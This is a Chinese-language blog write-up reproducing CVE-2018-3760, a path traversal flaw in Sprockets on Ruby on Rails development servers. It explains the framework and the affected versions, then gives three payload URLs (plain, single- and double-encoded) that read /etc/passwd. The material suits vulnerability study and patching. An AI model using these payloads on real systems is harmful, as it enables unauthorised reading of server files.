漏洞复现----14、Ruby On Rails 路径穿越漏洞(CVE-2018-3760)


一、Ruby on Rails 简介

Ruby on Rails(官方简称为 Rails,亦被简称为 RoR),是一个使用 Ruby 语言写的开源 Web 应用框架,它是严格按照 MVC 结构开发的。它努力使自身保持简单,来使实际的应用开发时的代码更少,使用最少的配置。

Rails 的设计原则包括 “不做重复的事”(Don’t Repeat Yourself)和 “惯例优于设置”(Convention Over Configuration).

控制器接受向应用发起的特定访问请求。路由决定哪些访问请求被哪些控制器接收。一般情况下,一个控制器会对应多个路由,不同路由对应不同动作。动作搜集数据并把数据提供给视图。视图以人类能看懂的格式显示数据。有一点要特别注意,数据是在控制器而不是视图中获取的,视图只是显示数据。默认情况下,视图模板使用 eRuby(嵌入式 Ruby)语言编写,经由 Rails 解析后,再发送给用户。

Rails框架是以固定的命名习惯来自动判断整个架构,默认下会将网址分析成 http://domain-name/ControllerName/ActionName/Attribute/ 然后执行目标Controller中的Action,并取出指定的View(视图)回传给浏览器显示。面对数据库则以Model(模组)的形式,借由Active Record作为与数据库之间的传输接口。


二、漏洞简介

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Sprockets是编译及分发静态资源文件的Ruby库。在Sprockets部分版本中因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

影响面:
development servers,且开启了 config.assets.compile
影响版本:
4.0.0.beta7 及更低版本、
3.7.1 及更低版本、
2.12.4 及更低版本。
如果Rails应用程序在其应用程序中启用了此设置,则它们很容易受到攻击。
# config/environments/production.rb
config.assets.compile = true # setting to true makes your app vulnerable
Rails附带的这个设置的默认值production.rb是false,默认情况下,在生产模式下运行的Rails应用程序不易受到此漏洞的攻击。

1、Sprockets简介

Sprockets是一个用于编译和提供Web Assets 的Ruby库。 Sprockets允许将应用程序的JavaScript文件组织为更易于管理的较小块,这些块可以分布在多个目录和文件中。它提供了有关如何在我们的项目中包含 Assets 的结构和实践。并且可以检查 JavaScript 文件的相互依赖关系,以优化网页中引入的js文件,避免加载不必要的js文件。

通过在每个JavaScript文件的开头使用伪指令,Sprockets可以确定JavaScript文件所依赖的文件。在部署应用程序时,Sprockets然后使用这些指令将多个JavaScript文件转换为单个文件,以提高性能。


三、漏洞复现

Payload:
1、原型
http://ip:3000/assets/file:///usr/src/blog/app/assets/images/../../../../../../etc/passwd
2、一次编码(/ —— %2f  . —— %2e)
http://ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3、二次编码(% —— %25)http://ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值